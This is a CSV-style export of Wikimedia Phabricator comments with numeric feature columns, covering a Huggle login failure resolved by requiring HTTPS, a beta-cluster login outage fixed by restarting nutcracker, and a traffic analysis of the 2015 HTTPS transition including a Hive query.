+",Unbreak Now!,100.0,1437346520,1437550964.0,PHID-USER-sl2kxui7ez6tuziv25t4,False,PHID-USER-ppytiem7rcsbnstfsrvq,False,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_description,resolved,True,c3,3,False,False,True,2,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+494732,Cannot login to Huggle 3.1.14,,,,1437550911,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+494731,Cannot login to Huggle 3.1.14,,,,1437550894,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+494730,Cannot login to Huggle 3.1.14,"They are not, if you wipe you config it will no longer allow you, it's
+recent change of config that forbid users from using non ssl on WMF
+servers. You still have configuration from previous time when it was
+possible.",,,1437550892,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+494718,Cannot login to Huggle 3.1.14,"If I check ""Use HTTPS (requires OpenSSL)"" I am able to login just fine; however, if I do not check it, I receive the error posted above. Out of curiosity, if SSL is required (and not using SSL produces errors), why are users given the option to choose whether to use HTTPS or not?",,,1437540961,,PHID-USER-sl2kxui7ez6tuziv25t4,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0
+494279,Cannot login to Huggle 3.1.14,Keep in mind that you must use SSL since now,,,1437487718,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+494169,Cannot login to Huggle 3.1.14,Can you try install some of the previous versions? Do they work now?,,,1437468319,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+494167,Cannot login to Huggle 3.1.14,"Yes, I have used previous versions of Huggle on this operating system and computer. I haven't used Huggle for quite some time, but I know that I haven't set anything to block it on purpose. Perhaps a security setting on OS X is blocking it by default? I am not sure.",,,1437466747,,PHID-USER-sl2kxui7ez6tuziv25t4,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,False,,,2,True,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+494160,Cannot login to Huggle 3.1.14,"The problem here is that huggle can't download stuff using internet, OS is somehow blocking its network access it seems.",,,1437463149,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+494159,Cannot login to Huggle 3.1.14,Did you ever use any other version of huggle on this OS which worked?,,,1437463108,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+494124,Cannot login to Huggle 3.1.14,"In case there's any confusion, I used the Huggle (3.1.14) for Mac OS X link found on the [[ https://meta.wikimedia.org/wiki/Huggle/Download | Huggle download page ]]. It is the fourth one down and a direct link can be found [[ https://github.com/huggle/huggle3-qt-lx/releases/download/3.1.14/huggle_3.1.14.dmg | here ]]. I removed Huggle from my system and downloaded it again to confirm that I am still receiving an error, which I am.",,,1437442593,,PHID-USER-sl2kxui7ez6tuziv25t4,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,False,,,2,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+493881,Cannot login to Huggle 3.1.14,Looks that version number is wrong. Did previous version work ok?,,,1437404450,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+493765,Cannot login to Huggle 3.1.14,"Unable to reproduce on my end (yet)
+
+
+```
+Version: 3.1.13 build: 2597 3.1.14 without python support, compiled using QT 5.4.1 Running on QT 5.4.1
+```
+
+P.S. Do we have a version number out of date somewhere?  Or am I testing on the wrong build?",,,1437374921,,PHID-USER-vzo36k53hgat5bwuxsn5,False,,,PHID-TASK-tv6fhvrdcoxk6zqv44e2,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+104212,Login failing - The provided authentication token is either expired or invalid.,"I cant login with my account to beta cluster it keeps telling me :
+
+Central user login:
+The provided authentication token is either expired or invalid.
+{F184967}",Unbreak Now!,100.0,1435597361,1435603365.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,PHID-USER-5ewyncd6mpezaymyxfal,False,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_description,resolved,True,c3,2,False,False,True,-1,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+1686202,Login failing - The provided authentication token is either expired or invalid.,"@59Efra: Hi, this ticket was resolved six years ago. If you run into issues, please follow https://www.mediawiki.org/wiki/Manual:How_to_debug/Login_problems and create a new ticket - thanks a lot!",,,1615969676,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,3,True,,,297,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0
+1684424,Login failing - The provided authentication token is either expired or invalid.,"I am having this same issue right now on Google Chrome, for now I've been able to work around it by switching to Microsoft Edge, but still it's probably worth looking at.",,,1615815142,,PHID-USER-m7dmvwslcycpgce2k2gy,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,3,False,,,297,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+485110,Login failing - The provided authentication token is either expired or invalid.,None of those issues are occurring now.,,,1435778418,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+484614,Login failing - The provided authentication token is either expired or invalid.,">>! In T104212#1411283, @Ryasmeen wrote:
+> Yes, I am not getting that error now and being able to login. But I am seeing some other issues there , not sure if they are related like 
+> 1. My user page is no more there,
+> 2. I cannot create any new page
+> 3. Searching for articles is not working
+> 4. Random page always brings up the beta cluster main page 
+
+Rummana, can you file a task for those issues (if they still occur)? Thanks!",,,1435704793,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,0,1,0,1,1,0,1
+483723,Login failing - The provided authentication token is either expired or invalid.,"Yes, I am not getting that error now and being able to login. But I am seeing some other issues there , not sure if they are related like 
+1. My user page is no more there,
+2. I cannot create any new page
+3. Searching for articles is not working
+4. Random page always brings up the beta cluster main page ",,,1435606175,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,False,,,-1,True,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1
+483722,Login failing - The provided authentication token is either expired or invalid.,"Yes, I am not getting that error now and being able to login. But I am seeing some other issues there , not sure if they are related like 
+1. My user page is no more there,
+2. I cannot create any new page
+3. Searching for articles is not working
+4.Random page always brings up the beta cluster main page ",,,1435606151,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,False,,,-1,True,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1
+483664,Login failing - The provided authentication token is either expired or invalid.,"it's strange, nutcracker was running on the apache boxes, pid was correct in `/var/run/nutcracker`, nutcracker ports showed up with `netstat -tlnp`, but I definitely couldn't store a value using:
+
+    sudo -u ""$MEDIAWIKI_WEB_USER"" php ""/srv/mediawiki/multiversion/MWScript.php"" eval.php --wiki=enwiki
+    > var_dump($wgMemc->set('testtitle', 10));
+    bool(false)",,,1435603365,,PHID-USER-5ewyncd6mpezaymyxfal,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+483661,Login failing - The provided authentication token is either expired or invalid.,"I'm able to login, where I was getting the error before. So I think this is resolved.
+
+Any idea why nutcracker did that?
+
+There's a task somewhere (iirc) to make CentralAuth pass all the data it needs in an encrypted packet, instead of relying on memcache. But I'm not going to be able to work on that in the short term.",,,1435603054,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+483640,Login failing - The provided authentication token is either expired or invalid.,"Restarted nutcracker on beta apache instances.
+
+I can definitely login to http://login.wikimedia.beta.wmflabs.org/
+
+@Ryasmeen are you able to login now?",,,1435601172,,PHID-USER-5ewyncd6mpezaymyxfal,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0
+483621,Login failing - The provided authentication token is either expired or invalid.,(investigation on-going in #wikimedia-releng),,,1435599901,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+483613,Login failing - The provided authentication token is either expired or invalid.,"To be clear, just global login is failing. You should be logged in locally to the wiki where you started your login request from.",,,1435599209,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+483595,Login failing - The provided authentication token is either expired or invalid.,"Did beta switch sessions storage, or lose memcache?",,,1435597845,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+483590,Login failing - The provided authentication token is either expired or invalid.,Confirmed.,,,1435597601,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+102431,Analysis on traffic through the HTTPS transition,"do a traffic analysis for Catalan, Chinese, English, Hebrew, Italian, and Uyghur versions of Wikipedia. Lila is asking for a traffic report. Chinese & Uyghur Wikipedia transition was on Tuesday. Catalan, Chinese, Hebrew, and Italian yesterday. English at 2AM today. We also need to know traffic impact on English Wikipedia geolocated to China. 
+",Unbreak Now!,100.0,1434341868,1448881724.0,PHID-USER-p3bvg5sos3lhe33uou2s,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-dmyx4wbuj5eotax4ch37,task_description,resolved,True,c3,2,True,False,False,-3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+569912,Analysis on traffic through the HTTPS transition,">>! In T102431#1675396, @ellery wrote:
+> @Aklapper this task is complete. 
+
+@ellery: Is there a reason to not change the task status to ""Resolved"" via the ""Action > Change Status"" dropdown above the ""Comments"" box, so the task won't show up under the list of open tasks anymore?
+
+I'll just do this and resolve this task, hoping I understood your previous comment correctly. Please reopen if I'm wrong.",,,1448881724,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,3,True,,,21,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1
+535271,Analysis on traffic through the HTTPS transition,@Aklapper this task is complete. ,,,1443201569,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,3,False,,,12,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+535134,Analysis on traffic through the HTTPS transition,"This task has ""Unbreak Now!"" priority for three months now which means [[ https://www.mediawiki.org/wiki/Phabricator/Project_management#Setting_task_priorities | it ""needs to be fixed immediately, setting anything else aside."" ]]
+
+@ellery: What is the status of this task? Is the priority still correct?",,,1443191226,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,3,True,,,12,True,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1
+483446,Analysis on traffic through the HTTPS transition,"@ellery thanks for the great work. Can you add a short section with the main takeaways at the top of the nb? Other than country-specific data, given that bot traffic historically accounted for up to half of PVs from the US, this will result in a major drop in the legacy PVs and we'll need to communicate this clearly.
+
+@kevinator is Yana responsible for presenting the results internally?",,,1435584644,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+482082,Analysis on traffic through the HTTPS transition,"I have updated the graphs in https://github.com/ewulczyn/wmf/blob/master/https_transition/https_transition.ipynb.
+
+Iran shows a severe persistent drop in pageview rates for enwiki. China has a less severe but still persistent drop. ",,,1435269656,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+476903,Analysis on traffic through the HTTPS transition,"For a set of updated graphs that include the protocol dimensions and the effects on enwiki see:
+
+https://github.com/ewulczyn/wmf/blob/master/https_transition/https_transition.ipynb ",,,1434586363,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+476901,Analysis on traffic through the HTTPS transition,"For a set of updated graphs that include the protocol dimensions see:
+
+https://github.com/ewulczyn/wmf/blob/master/https_transition/https_transition.ipynb ",,,1434586264,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0
+475177,Analysis on traffic through the HTTPS transition,"The transition is still ongoing.  New timeline events from today (assume for any language mentioned, it's for all projects that language has):
+
+All times UTC, and +/- 5 mins:
+2015-06-15 20:15 - Wikidata and Roots/www //(see below)//
+2015-06-15 20:25 - de
+2015-06-15 21:00 - Commons
+2015-06-15 21:25 - fr, ja
+2015-06-15 23:15 - Reverted Commons ( for now, due to: T102566 )
+2015-06-16 00:00 - bg, cs, eo, fi, id, nl, no, pl, pt, sv, th, tr
+
+// Roots/www means any of our primary domains without a language prefix, including mobile, as well as `www` in place of the language prefix.  e.g. `http://wikipedia.org`, `http://www.wikiversity.org`, `http://m.wikibooks.org`, etc.  Mostly these are language-selector pages or language-detecting redirects.//",,,1434416040,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+475092,Analysis on traffic through the HTTPS transition,"As mentioned above, the query will still run for a few days. But here are some preliminary results from a query I kicked off on Friday.
+
+Summary: We see a drop in pageviews from zhwiki from Chinese desktop users and US bots. All beta language projects seem unaffected. The data is too right terminated to evaluate the change for enwiki.
+
+https://github.com/ewulczyn/wmf/blob/master/https_transition/https_transition.ipynb",,,1434408498,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+474979,Analysis on traffic through the HTTPS transition,"Ok, I just fired off a query to get https status as well. I am running over the logs for June (sampling 1 out of 64 buckets). This query is estimated finish in 3 days.... 
+
+SELECT year, 
+month, 
+day, 
+hour, 
+uri_host, 
+geocoded_data['country'] as country, 
+access_method, 
+agent_type, 
+x_analytics_map['https'] as https, 
+http_status, 
+count(*) as n 
+FROM wmf.webrequest TABLESAMPLE(BUCKET 1 OUT OF 64 ON rand()) 
+WHERE year = 2015 
+AND month = 6 
+AND webrequest_source in ('mobile', 'text') 
+AND is_pageview = 1 
+AND uri_host RLIKE '(ca|en|zh|it|ug|he)\\.(m\\.)?wikipedia' 
+GROUP BY uri_host, geocoded_data['country'], x_analytics_map['https'], http_status, 
+access_method, agent_type, year, month, day, hour;",,,1434399345,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
